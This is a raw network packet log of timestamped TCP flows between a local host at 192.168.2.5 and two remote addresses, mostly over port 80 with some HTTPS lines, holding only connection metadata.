Nov 24, 2024 10:24:15.550096989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.551009893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.551060915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.551126003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.551178932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.552167892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.552217007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.552263021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.552316904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.553451061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.553503990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.553504944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.553555965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.553783894 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.554337025 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.554349899 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.554428101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.554478884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.554532051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.554583073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.554913998 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.554919958 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.555608988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.555661917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.555663109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.555710077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.556705952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.556809902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.556827068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.556855917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.557866096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.557902098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.557917118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.557939053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.558954000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.558990955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.559006929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.559046030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.560033083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.560086012 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.560136080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.560178995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.561189890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.561242104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.561325073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.561367989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.562313080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.562361002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.562429905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.562479019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.563450098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.563500881 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.563561916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.563604116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.564562082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.564625025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.564694881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.564738989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.565701962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.565747976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.565797091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.565840960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.566804886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.566876888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.566915989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.566966057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.567954063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.567997932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.568021059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.568063021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.569130898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.569175959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.569233894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.569274902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.570235968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.570280075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.570332050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.570377111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.571362019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.571413040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.571460962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.571506023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.572570086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.572597027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.572627068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.572627068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.573610067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.573654890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.573719978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.573762894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.574769020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.574811935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.574852943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.574897051 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.576000929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.576044083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.576082945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.576127052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.577059984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.577106953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.577177048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.577222109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.578161955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.578208923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.578241110 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.578284025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.579291105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.579338074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.579406977 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.579442978 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.579449892 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.579854012 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.579864025 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.580355883 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.580360889 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.580394983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.580446959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.580492973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.580542088 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.581562996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.581609964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.581686020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.581741095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.582726002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.582770109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.582871914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.582915068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.583892107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.583936930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.584064960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.584112883 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.584959030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.585005999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.585021019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.585071087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.586072922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.586121082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.586194038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.586241007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.587201118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.587246895 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.587332010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.587374926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.588371038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.588429928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.588510990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.588561058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.589531898 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.589566946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.589580059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.589603901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.590647936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.590692043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.591018915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.591065884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.591753960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.591804981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.591876030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.591919899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.592897892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.592943907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.592953920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.592998028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.594165087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.594213963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.594250917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.594290972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.595149994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.595191956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.595241070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.595284939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.596322060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.596368074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.596411943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.596452951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.597522020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.597565889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.597601891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.597645044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.598542929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.598588943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.598664045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.598706961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.599662066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.599708080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.599754095 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.599798918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.600815058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.600863934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.600900888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.600944042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.619441986 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.619863033 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.619870901 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.620433092 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.620436907 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.743556976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.743673086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.743768930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.744106054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.744174004 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.744203091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.744251013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.745261908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.745310068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.745323896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.745366096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.746376038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.746421099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.746512890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.746555090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.747494936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.747539997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.747616053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.747663021 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.748671055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.748714924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.748733044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.748780966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.749773026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.749818087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.749857903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.749900103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.750888109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.750940084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.751009941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.751054049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.752033949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.752079010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.752131939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.752175093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.753182888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.753231049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.753263950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.753309011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.754477978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.754523993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.754569054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.754614115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.755544901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.755589962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.755620003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.755661011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.756580114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.756625891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.756694078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.756738901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.757674932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.757734060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.757761002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.757772923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.758836031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.758882999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.758934975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.758985043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.759964943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.760016918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.760025024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.760056973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.761106968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.761123896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.761164904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.761183977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.762222052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.762270927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.762329102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.762373924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.763391972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.763437033 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.763482094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.763526917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.764481068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.764527082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.764565945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.764605045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.765702009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.765749931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.765818119 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.765861034 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.766828060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.766891003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.766926050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.766994953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.767906904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.767976046 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.768016100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.768070936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.769059896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.769109011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.769114971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.769154072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.770180941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.770224094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.770270109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.770327091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.771342039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.771389008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.771481991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.771526098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.772418976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.772465944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.772511959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.772557020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.773547888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.773600101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.773622036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.773665905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.774705887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.774754047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.774805069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.774852037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.775799990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.775845051 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.775918007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.775965929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.776981115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.777028084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.777036905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.777079105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.778084040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.778155088 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.778182983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.778228998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.779213905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.779278994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.779328108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.779376984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.780345917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.780392885 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.780425072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.780464888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.781506062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.781563997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.781610966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.781652927 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.782623053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.782669067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.782713890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.782757998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.783756018 CET	80	49813	31.41.244.11	192.168.2.5
